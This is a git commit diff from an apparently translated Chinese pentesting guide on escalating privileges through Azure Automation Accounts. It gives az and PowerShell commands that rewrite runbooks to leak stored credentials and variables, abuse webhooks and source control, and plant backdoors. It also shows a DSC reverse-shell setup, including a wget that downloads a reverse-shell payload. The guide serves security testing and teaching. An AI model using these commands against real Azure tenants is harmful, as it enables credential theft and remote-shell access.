Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:45:37 +00:00
parent 6366d83100
commit 340f46d72e

View File

@@ -14,9 +14,9 @@
- **从自动化账户到虚拟机**
请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC甚至是Azure虚拟机。
请记住,如果攻击者能够在混合工作者中执行任意运行(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC甚至是Azure虚拟机。
此外如果混合工作者在Azure中运行并附加了其他托管身份运行簿将能够访问**运行簿的托管身份以及虚拟机的所有托管身份,从元数据服务中获取**。
此外如果混合工作者在Azure中运行并附加了其他托管身份运行将能够访问**运行的托管身份以及虚拟机的所有托管身份元数据服务**。
> [!TIP]
> 请记住,**元数据服务**的URL与获取自动化账户的托管身份令牌的服务**`IDENTITY_ENDPOINT`**)不同(**`http://169.254.169.254`**)。
@@ -32,9 +32,9 @@
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
总之,这些权限允许**创建、修改和运行自动化账户中的运行簿**,您可以利用这些权限在自动化账户的上下文中**执行代码**,并提升对分配的**托管身份**的权限,泄露**凭据**和存储在自动化账户中的**加密变量**。
总之,这些权限允许**创建、修改和运行自动化账户中的运行**,您可以利用这些权限在自动化账户的上下文中**执行代码**,并提升对分配的**托管身份**的权限,泄露**凭据**和存储在自动化账户中的**加密变量**。
权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许修改自动化账户中运行簿的代码:
权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许修改自动化账户中运行的代码:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -49,7 +49,7 @@ $creds.GetNetworkCredential().password'
```
注意如何使用之前的脚本来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布运行簿,以便应用更改:
权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -75,7 +75,7 @@ az automation runbook create --automation-account-name <account-name> --resource
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
此权限允许用户使用**分配用户管理的身份**自动化帐户:
此权限允许用户使用以下方式**将用户管理的身份分配**自动化帐户:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -138,27 +138,12 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write`
拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`**,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。
请注意,您需要 **指明 webhook URI** 以及要使用的令牌。
通过权限 **`Microsoft.Automation/automationAccounts/webhooks/write`**,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
此命令应返回一个仅在创建时显示的 webhook URI。然后使用 webhook URI 调用 runbook。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
@@ -205,7 +190,7 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
这将自动从Github存储库导入运行簿到自动化帐户并且通过一些其他权限开始运行它们**可能提升权限**。
这将自动从Github存储库导入运行簿到自动化帐户并且通过一些其他权限开始运行它们**可能提升权限**。
此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。
@@ -230,7 +215,7 @@ az rest --method PUT \
```
### 自定义运行时环境
如果自动化户使用自定义运行时环境,可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。
如果一个自动化户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行被执行并加载自定义包时,恶意代码将被执行。
### 破坏状态配置
@@ -239,14 +224,14 @@ az rest --method PUT \
- 第一步 — 创建文件
**所需文件:** 需要两个 PowerShell 脚本:
1. `reverse_shell_config.ps1`:一个获取并执行有效载的期望状态配置DSC文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
2. `push_reverse_shell_config.ps1`:一个将配置发布到 VM 的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
1. `reverse_shell_config.ps1`:一个获取并执行有效载的期望状态配置DSC文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载标识符。
**定制** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载标识符。
- 第二步 — 压缩配置文件
`reverse_shell_config.ps1` 压缩 `.zip` 文件,以便准备传输到 Azure 存储户。
`reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储户。
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
@@ -256,9 +241,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- 4 步 — 准备 Kali Box
-4步 — 准备Kali Box
Kali 服务器从 GitHub库下载 RevPS.ps1 负载。
Kali服务器从GitHub存储库下载RevPS.ps1有效负载。
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```